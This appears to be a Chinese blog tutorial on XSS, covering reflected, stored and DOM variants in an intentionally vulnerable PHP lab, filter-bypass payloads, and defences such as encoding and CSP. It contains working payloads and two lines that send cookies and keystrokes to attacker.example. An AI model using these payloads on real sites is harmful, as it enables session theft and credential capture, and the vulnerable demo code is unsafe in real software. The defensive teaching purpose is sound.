☰
XSS跨站脚本攻击从原理到防御:数据与代码的边界攻防
2026/10/13 7:19:59 网站建设 项目流程

“XSS不就是弹个alert(1)的窗吗?能有什么可讲的。”

说这话的人,我见过不止一个。直到某天一位朋友的业务系统后台被挂了一串恶意的登录劫持脚本,他才意识到,这个“弹窗漏洞”居然能让他手下几十个运营账号一夜之间全部失守。实际上,我这些年做安全测试,接触过的大量Web系统里,XSS(跨站脚本攻击)的出镜率高得惊人,但真正把它讲透、讲明白“为什么能打进去”“打进去之后能干什么”“到底该怎么防住”的资料,反而不多。

这篇文章我不打算给你念教科书定义,而是用我一个测试者的视角,把XSS从原理到实战、从绕过到防御,一条线完整捋一遍。不管你是刚入行的安全新人、写业务的研发,还是正在维护自己个人站点的站长,看完应该都能搞清楚这玩意儿到底是怎么回事,以及遇到它时该怎么想、怎么做。

1. 先搞清楚XSS的本质:数据怎么一步步变成了代码

很多人把XSS记成“脚本注入攻击”,这个说法对,但不够本质。我更喜欢把XSS定义为浏览器端的代码执行权限混淆——原本应该是“数据”的内容,被浏览器当成了“代码”来解析执行。

你写了一套后端逻辑,用户提交了点东西进来,你的代码把它存进数据库或者直接拼进页面里回显。这个过程里,如果没有对“用户输入”和“页面代码”做严格的边界区分,攻击者就有机会把自己的JavaScript送进你的页面。

我举个例子,你一看就明白了。假设后端是这么写的:

<?php // 这是一个模拟的商品搜索页,关键词直接拼接进页面 $keyword = $_GET['q']; echo "<p>您搜索的是:" . $keyword . "</p>"; ?>

这段代码的逻辑简单到不能再简单:接收q参数,拼进HTML,返回给用户。正常使用一切正常。但如果你在浏览器地址栏输入:

/search.php?q=<script>alert(document.cookie)</script>

会发生什么?后端把<script>alert(document.cookie)</script>原封不动拼进了HTML,浏览器解析页面时,看到<script>标签,就老老实实把里面的JavaScript执行了。

看到问题在哪了吗?你的系统亲自把攻击者的输入,送到了浏览器的JavaScript引擎里。XSS的所有变体,本质上都是这么一回事——不可信的数据进入了可信的执行上下文。

聊到这里就得引入安全领域那句经典原则:一切输入都是不可信的,一切数据都不能直接变成代码。很多研发会觉得“我做了参数过滤就没问题了”,但实际上XSS的坑远不止一个入口。后面我会讲到,它可能藏在你引用的第三方组件里,可能藏在你调用的前端渲染函数里,甚至藏在你以为纯前端代码就不可能出问题的单页应用里。

用一个生活化的类比帮你加深印象:你的简历是一段“数据”,HR在系统里看简历时,如果系统把你的期望薪资字段直接当成邮件的签名模板来渲染,那你在期望薪资里写一行“你好我是新来的董事长”的代码,邮件发出去时就会吓所有人一跳。XSS就是把这种“数据被当成模板代码”的意外,变成了可以精确设计的攻击。

2. 本地搭个测试环境,亲手看一眼XSS怎么执行

理论说了一堆,不亲手看一眼,印象绝对不深。我在本地用最常见的PHP集成环境建了一个模拟靶场,用来演示XSS的整个触发链路。你也完全可以照这个步骤搭一遍,整个过程半小时内就能完成。

2.1 最小化靶场的目录结构和代码

我在本地Web根目录下建了一个名为labs的文件夹,里面放了三个文件:反射型测试页reflected.php、存储型测试页stored.php、还有一个模拟留言的“数据库”文件comments.txt。完整结构长这样:

labs/ ├── reflected.php ├── stored.php ├── dom_test.html └── comments.txt

reflected.php就是一个极简搜索页,代码就是第一节里那个直接拼接参数的例子。而stored.php稍微复杂一点,它会读取comments.txt,并把新内容追加进去:

<?php // 存储型XSS演示页 $comment = $_POST['comment'] ?? ''; if ($comment !== '') { file_put_contents('comments.txt', $comment . "\n", FILE_APPEND); } $comments = file_exists('comments.txt') ? file_get_contents('comments.txt') : ''; ?> <!DOCTYPE html> <html> <head><meta charset="utf-8"><title>留言板</title></head> <body> <h3>存储型XSS留言板</h3> <form method="post"> <textarea name="comment" rows="3" cols="40"></textarea> <br><button type="submit">提交留言</button> </form> <hr> <div> <?php echo nl2br($comments); ?> </div> </body> </html>

注意到没有,后端把读取到的留言$comments用echo原样输出进了页面,没有任何转义处理。这就是存储型XSS的标准入口——用户提交的恶意代码被“存储”在服务端,日后再被浏览器加载执行。

2.2 实测:反射型XSS的完整触发链路

我打开http://127.0.0.1/labs/reflected.php?q=安全测试,页面正常显示“您搜索的是:安全测试”。然后我换成:

http://127.0.0.1/labs/reflected.php?q=<img src=x onerror=alert(document.domain)>

这一回,页面上不仅没有显示那段代码文本,而是直接弹出了当前域名。为什么用<img>而不是<script>?因为在现代浏览器里,通过document.write或者部分上下文插入的<script>标签可能会被HTML解析器拦一下,但<img>的onerror事件是非常稳定的触发渠道——图片地址无效时,浏览器会立刻执行onerror里的JavaScript。

我建议你也动手试一遍,重点观察两个东西:第一,地址栏里的参数是怎么一点点被页面吃进去的;第二,浏览器解析完DOM之后,你的那条“数据”出现在什么位置、以什么身份存在。当你把<img src=x onerror=alert(1)>写进参数再刷新,哪怕你根本不懂前端,也能直观感受到——这玩意儿真的把页面的执行权抢过去了。

2.3 实测:存储型XSS的数据流差异

接着我打开stored.php,在留言框里输入:

<script>alert('stored xss')</script>

提交后再刷新页面,页面弹窗了。关闭弹窗,继续刷新,它还在弹。我关掉浏览器,第二天重新打开stored.php,依然弹窗。这就是存储型XSS和反射型XSS最大的区别:反射型是一次性的,弹完就完,只在攻击者构造好的URL里生效;存储型是长在系统里的,只要那条数据没被清掉,每一次页面加载都是杀伤机会。

实际渗透测试时,存储型XSS是真正的“高危”级别,因为它能影响到所有访问该页面的用户,包括管理员。服务端存储的“毒数据”一日不除,影响就一日不消。我见过一个社区网站,用户头衔字段被塞了一段恶意脚本,管理员每次打开后台用户列表就中招一次,挂了快半个月才发现。

3. 三种XSS形态怎么区分:存储、反射、DOM型

很多教程把XSS分为“存储型、反射型、DOM型”,但描述得比较抽象,不少新人背了半天还是分不清。我提供一个我自己用的判别思路:看数据从进入到执行,到底经过了哪几双手。

3.1 存储型:数据进了服务端数据库,回头再被拉出来执行

存储型XSS的数据流是:攻击者提交 → 服务端接收并存储(数据库、文本文件、缓存都算)→ 任意用户访问页面 → 服务端从存储中取出数据 → 拼入HTML → 浏览器执行。

关键特征:攻击载荷长期驻留服务端,谁看谁中招。

3.2 反射型:数据只过了一下服务端的手,没有落地

反射型XSS的数据流是:攻击者诱导受害者点击一个恶意构造的URL → 服务端从URL参数中取值 → 直接拼进响应页面 → 浏览器执行。

关键特征:载荷在URL里,服务端“反射”了一下,不落库。所以最经典的攻击方式是“钓鱼链接”,你伪装成一个正常链接发给目标,目标一旦点了,URL里的代码就在他的浏览器里跑起来。

3.3 DOM型:数据根本没经过服务端,纯前端自己把自己卖了

DOM型XSS是三种类型里最容易被人忽略的,因为它在网络层面几乎和正常请求没有区别。它的原理是:前端代码从URL参数、location.hash、window.name等纯客户端来源读取数据,然后使用innerHTML、document.write、eval、setTimeout等函数把它们写进DOM或执行。

我写一个极简例子:

<!DOCTYPE html> <html> <head><meta charset="utf-8"><title>DOM型XSS演示</title></head> <body> <div id="result"></div> <script> // 直接从URL参数里取数据,未经任何处理写入页面 var params = new URLSearchParams(window.location.search); document.getElementById('result').innerHTML = '你好,' + params.get('name'); </script> </body> </html>

打开dom_test.html?name=小明一切正常。但改成:

dom_test.html?name=<img src=x onerror=alert(document.cookie)>

innerHTML会直接解析这段内容里的HTML标签,并且触发onerror事件。整个过程里,数据压根没有经过服务端,服务端日志甚至看不到任何攻击痕迹。我实测的时候抓包看过,请求就是一个普普通通的静态文件请求,没有任何异常参数能让WAF感知。

这三种类型的判断方法,我整理成一张表,方便你对照:

类型数据来源是否经过服务端是否存储攻击触发方式典型场景
存储型提交表单/接口是是受害者访问含毒数据的页面留言板、评论、用户昵称、头像字段
反射型URL参数/表单搜索是否受害者点击恶意链接搜索页、错误提示页、重定向参数
DOM型URL参数/hash/客户端存储否视情况(可能存localStorage)受害者点击恶意链接,纯前端执行单页应用、前端渲染的详情页、hash路由

判断一个XSS属于哪种类型,最简单的问法是两步:载荷会不会被服务端存下来?不会,那它有没有经过服务端拼接?不会,那基本就是DOM型。这个顺序能帮你快速定位排查范围。

4. 绕过过滤的几种常见思路:真实测试中的攻防博弈

很多初次接触XSS的人会陷入一个误区——以为只要系统过滤了<script>标签就万事大吉。真实世界里的WAF、代码过滤器、输入校验,往往只是挡住了一层最常见的攻击方式,而绕过手段五花八门。这里我以授权测试的视角,讲几种我实际测试中用过的思路,供你在做系统自检时参考。再次强调:所有测试必须在你自己系统或获授权的前提下进行。

4.1 过滤不完整:换了标签、换了事件照样打

很多开发者习惯用黑名单思路拦截XSS,写一行正则把<script>、alert、onerror这类关键词直接替换为空字符串。这种过滤的漏洞很典型:黑名单永远无法穷举攻击向量。

比如你过滤了<script>,我可以用大小写混写来试:

<ScRiPt>alert(1)</ScRiPt>

如果大小写混写也被处理了,我可以换标签。HTML里能被JavaScript事件驱动的标签多的是:

<img src=x onerror=alert(1)> <svg onload=alert(1)> <body onpageshow=alert(1)> <details open ontoggle=alert(1)> <video src=x onerror=alert(1)> <input autofocus onfocus=alert(1)>

实测下来,onerror和onload这类事件属性是最稳定的,因为它们不需要用户任何交互就能自触发,只要宿主标签被渲染,事件就会执行。

4.2 双写绕过:过滤函数只替换一次时的经典手法

还有一种过滤器,只做一次字符串替换,比如preg_replace('/<script>/i', '', $input)。这种过滤在遇到双写时直接失效:

<scr<script>ipt>alert(1)</script>

过滤器把内部的<script>替换成空字符串后,原先的<scr和ipt>就拼成了<script>,攻击载荷又恢复原形了。这个技巧我在测试一个旧系统时真实遇到过,那套系统用了三层过滤,但全是字符串替换,双写绕过去之后,三层过滤就成了一层。

4.3 HTML实体编码与JavaScript上下文的配合

有时候过滤会拦截尖括号<和>,让你写不出新的HTML标签。但如果漏洞点处在JavaScript代码内部,情况就完全不同了。

举个例子,假设页面里有这样一段代码:

<script> var username = '<?php echo $username; ?>'; // ...后续逻辑 </script>

如果后端对$username做了HTML实体编码,把<变成&lt;,在HTML上下文里这确实能阻止新标签的产生。但问题是,现在这个变量值会被放进JavaScript字符串里。攻击者不需要构造HTML标签,他只需要闭合掉这个字符串就行:

username = 'admin'; alert(document.cookie); //

我把用户名设置为admin'; alert(document.cookie); //,后端输出后,页面里的代码就变成了:

<script> var username = 'admin'; alert(document.cookie); //'; // ...后续逻辑 </script>

你原来的字符串闭合符',直接被攻击者“借用”了。这是一种典型的上下文混淆——在HTML里做了防护,却没意识到同一份数据还会进入JavaScript上下文。所以输出编码这件事,永远要按上下文区分,HTML上下文做HTML编码,JavaScript上下文做JavaScript编码,属性上下文做属性编码,一步都不能省。

4.4 URL Scheme绕过:浏览器对伪协议的处理差异

有些过滤会检查含有http://或https://的链接,但浏览器支持的伪协议可不只这两种。在href、src、iframe等属性里,攻击者可以尝试:

javascript:alert(1) data:text/html,<script>alert(1)</script> vbscript:msgbox(1)

我实测时发现不少系统的过滤规则只匹配http(s)://开头,完全没考虑javascript:伪协议,结果前端location.href可控时直接被利用。顺带一提,现在主流浏览器对javascript:协议在部分场景下会有限制,但老版本浏览器、非标准环境或者某些小程序WebView里,这类向量依然有效。

5. 从“弹窗”到真实危害:XSS到底能造成什么后果

XSS最经典的演示是弹一个alert(1)的窗,这导致很多人对它的危害评估严重偏低。我可以负责任地说,XSS是Web攻击链条里最灵活的“起步动作”之一,真正的影响取决于攻击者后续想跑什么代码。以下是我在测试中实际复现过的几类后果。

5.1 窃取Cookie与登录态劫持

现代Web应用大多依赖Cookie维持会话。如果Cookie没有设置HttpOnly属性,页面里的JavaScript就能直接读取document.cookie。攻击者只要能在你的页面里执行任意JavaScript,就可以把Cookie发到自己的服务器上:

new Image().src = 'http://attacker.example/collect?c=' + encodeURIComponent(document.cookie);

我见过一个内部系统,员工账号的Cookie里直接带了会话令牌,攻击者把这段载荷注入到一个很常见的搜索页里,然后把恶意链接伪装成“查看本月绩效”的邮件标题发出去。点击链接的员工Cookie被窃取后,攻击者用这个Cookie直接登录了员工账号,在里面翻看了大半个月的业务数据。整个过程中,攻击者没有破解任何密码,纯粹靠XSS完成了身份冒充。

要想降低这类风险,除了消除XSS漏洞本身,给关键Cookie加上HttpOnly属性是最有效的止损手段——加了它,脚本就再也读不到这个Cookie了。

5.2 界面劫持与钓鱼

不碰Cookie也能搞出大新闻。攻击者可以利用XSS把页面上原有的登录框替换成自己控制的假登录框,用户在假登录框里输入的账号密码直接发送到攻击者的服务器。

原理不复杂:既然已经能在这里执行JavaScript,向页面DOM里插入一个表单就是几行代码的事。我在一次演练里模拟过这个场景——把某系统首页的正常登录区清空,插入一个样式一模一样的假登录框,同时在页面上加一行“系统维护后请重新登录”的提示。结果演练结束后统计,竟然真有相当比例的用户在里面输入了账号密码。这不等于说那套系统的真实登录框没被攻击者掌控,而是攻击者用XSS在真实页面上加了一层完美伪装,让用户自己把密码送了上来。

5.3 按键记录与敏感信息窃取

只要注入的脚本一直存活在页面里,它就可以监听用户的每一次按键、每一个表单提交:

document.addEventListener('keydown', function(e) { new Image().src = 'http://attacker.example/key?k=' + encodeURIComponent(e.key); });

这个能力在后台管理类系统里尤其致命。管理员在系统里录入密码、审核敏感申请、配置接口密钥时,每一次键盘敲击都在被悄悄记录。我在测试一个第三方运维平台时,就用这个手法完整还原了管理员的操作序列,整个过程服务端日志没有任何异常——因为所有恶意请求都发往攻击者域名,目标系统的访问日志里看不出任何痕迹。

5.4 蠕虫式传播

存储型XSS还有一个特点容易被忽略——修改能力。攻击者注入的脚本不仅能读取页面数据,还能以当前受害者身份发起新的请求。比如在社交类或协同类系统里,一个存储型XSS脚本可以自动读取当前用户的会话,然后批量发送带有恶意载荷的新内容给所有好友或协作者。每一个被攻击的新用户又成为新的传播节点,形成XSS蠕虫。

关于这一点,历史上多次真实事件已经证明过它的破坏力。虽然现代浏览器和框架对这类行为有一些限制,但在一套缺乏安全防护的业务系统内部,这种自动化传播依然可以快速让恶意代码覆盖整个组织。

6. 防御落地的关键动作:编码、过滤、CSP三板斧

讲完危害,必然要落到防御。XSS的防御不是单个函数的问题,而是一套纵深防御体系。我根据自己的落地经验,把最关键的几个动作按优先级排列如下。

6.1 输出编码:把数据永远当数据

最核心的防线永远是输出编码。无论数据来自用户提交、数据库还是第三方接口,只要进入HTML、属性、JavaScript、URL、CSS这五个上下文中的任意一个,都要用对应的编码方式处理。

这里我用PHP里的htmlspecialchars举个例子,但思想各语言通用:

<?php // 安全输出:对HTML上下文做实体编码 echo "<p>您搜索的是:" . htmlspecialchars($keyword, ENT_QUOTES | ENT_HTML5, 'UTF-8') . "</p>"; ?>

把这个和第一节的代码对比一下:同样是接收$keyword参数,经过htmlspecialchars之后,<script>会被编码成&lt;script&gt;,浏览器在HTML上下文里看到的是“一段内容”,而不是一个标签。数据依旧是数据,代码依旧是代码,两者之间的边界重新划清了。

但我要提醒你:输出编码是上下文相关的。同一个数据放到HTML里要用HTML实体编码,放到JavaScript字符串里要用JavaScript转义,放到URL参数里要用URL编码,放入CSS时又要用CSS转义。很多系统栽跟头就是只在一处做了编码,数据流转到别的上下文时完全裸露。

6.2 输入验证:白名单永远优于黑名单

过滤输入是第二道防线。我的经验是优先用白名单:能限定为数字就限定数字,能限定为邮箱格式就严格校验格式,能限定为预定义枚举值就绝不放任自由文本。对于自由文本字段,尽量减少可接受的字符集,并设置合理的长度上限。

举个例子,一个接收用户年龄的接口,如果在代码里写“把<script>替换掉”,那纯属给自己找麻烦;直接校验ctype_digit且范围在合理区间内,攻击面瞬间归零。很多XSS之所以能打进去,不是开发者不知道要过滤,而是过滤规则太复杂、太依赖黑名单,总有漏网之鱼。

6.3 CSP:浏览器层面的最后一道堤坝

Content Security Policy(内容安全策略)是防御XSS的重要兜底机制。它通过HTTP响应头或<meta>标签,告诉浏览器哪些来源的脚本可以执行、哪些不能执行。一个相对严格的CSP示例:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none'; frame-ancestors 'none';

这个策略的效果是:页面只能加载同源下的脚本,内联脚本和外站脚本全部被拦截。即便攻击者成功注入了<script>标签,如果该脚本不是来自允许的源,浏览器也会直接拒之门外。我在测试一些老系统时做过实验,加上一份严格的CSP之后,很多原本可用的XSS向量直接失效,但系统功能完全不受影响。

这里有个现实问题:很多老系统重度依赖内联脚本和eval,一上严格CSP页面就崩。我的建议是分两步走——第一步先实施script-src 'self',检查哪些页面报错,逐步把内联脚本改造为外部文件;第二步再开启object-src 'none'和base-uri 'none'这类加固项。CSP不适合一步到位,但它必须被纳入长期计划。

6.4 会话Cookie的HttpOnly与SameSite设置

在代码层面消除XSS的同时,必须给关键Cookie加上HttpOnly属性,同时设置合理的SameSite。前者保证JavaScript无法读取Cookie,后者能在一定程度上缓解跨站点请求伪造(CSRF)问题。配好后测试时的效果非常明显——即便XSS还存在,攻击者也很难直接偷走你的会话令牌。

6.5 防御方案的选型对照

为了让方案更直观,我整理了一张对照表,按“安全效果”和“落地成本”排序:

措施防护能力落地成本备注
输出编码高中必须按上下文区分编码方式
白名单输入验证高低数字、枚举、格式校验优先
黑名单过滤低中只能作为辅助,不能作为主防线
CSP高中高老系统改造需分批推进
HttpOnly Cookie中极低顺手的事,建议直接加
前端框架自带转义中低记得别用v-html这类危险API输出用户数据

7. 几个我反复踩过的坑和最终的排查心法

防御说完了,最后分享我在实际项目里反复踩过、最值得引以为戒的几个坑。这些坑大多不是技术难度问题,而是思维盲区问题。

第一个坑是“我只对接口入参做了过滤”。不少研发同事习惯在接收用户输入的入口统一做一遍关键字替换,就认为系统安全了。但在有数据持久化的系统里,XSS载荷可能来自数据库中的历史数据、第三方接口返回的报文、甚至管理员后台导入的Excel文件。我一个测试项目里,攻击面就出在一个数据导入功能上——导入的CSV文件内容被原样渲染到前端,接口入参过滤完全没覆盖到这条链路。安全设计必须意识到:入参过滤只是手段,输出编码才是每一次渲染都必须坚守的底线。

第二个坑是“前端框架自带防护,所以不用管”。现代前端框架比如Vue、React默认会对插值表达式做转义,这是事实。但开发者一旦用了v-html、dangerouslySetInnerHTML、innerHTML这类“直接插入原始HTML”的API,防护就被绕过了。我在审查代码时重点盯的就是这几个API的调用点,只要它们渲染了任何后台传入的数据,就必须手动做清洗和编码。

第三个坑是“我只测了常见向量,没测属性上下文”。很多人测XSS只试<script>和onerror两种,但真实漏洞经常藏在属性值里。比如一个标签页:

<a href="用户可控参数">点击下载</a>

如果用户可控参数直接拼进href,攻击者构造javascript:alert(1)就能触发。这种位置的XSS,攻击向量完全不以<script>开头,常规检测脚本很容易漏掉。我自己总结的测试心法是:拿到一个明文反射点,先看它最终被渲染在什么上下文里,再针对性构造适合该上下文的向量,而不是盲目堆通用payload。

第四个坑更隐蔽——把线上日志里的访问记录当成了安全数据。有次排查一个XSS告警时,我发现攻击者把恶意载荷写在了User-Agent里,后端把这些请求日志直接渲染成了后台的访问统计列表。日志数据默认会被当成内部可信数据,但攻击者完全可以控制User-Agent的内容。从那之后,我审查系统时都会单独问一句:“哪些数据会被日志系统采集并展示?这些展示过程有没有做编码?”

最后说一个排查经验。当你拿到一个XSS告警,别急着刷payload,先按这个顺序排查:先定位注入点在页面里的上下文位置(HTML正文、属性、JS代码、URL),再确认数据链路(是否经过服务端、是否落库),最后选择对应的编码方式修补。这套流程我用了很多年,基本能把90%以上的XSS问题稳定复现和修复。

XSS这玩意儿,说到底是“数据”和“代码”之间那层边界的事儿。把边界守住了,攻击者就算把payload写出花来,也只是一个无害的字符串而已。希望这篇文章能帮你把这层边界看清楚,以后无论是自己写代码,还是给别人的系统做测试,都能少踩几个坑。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询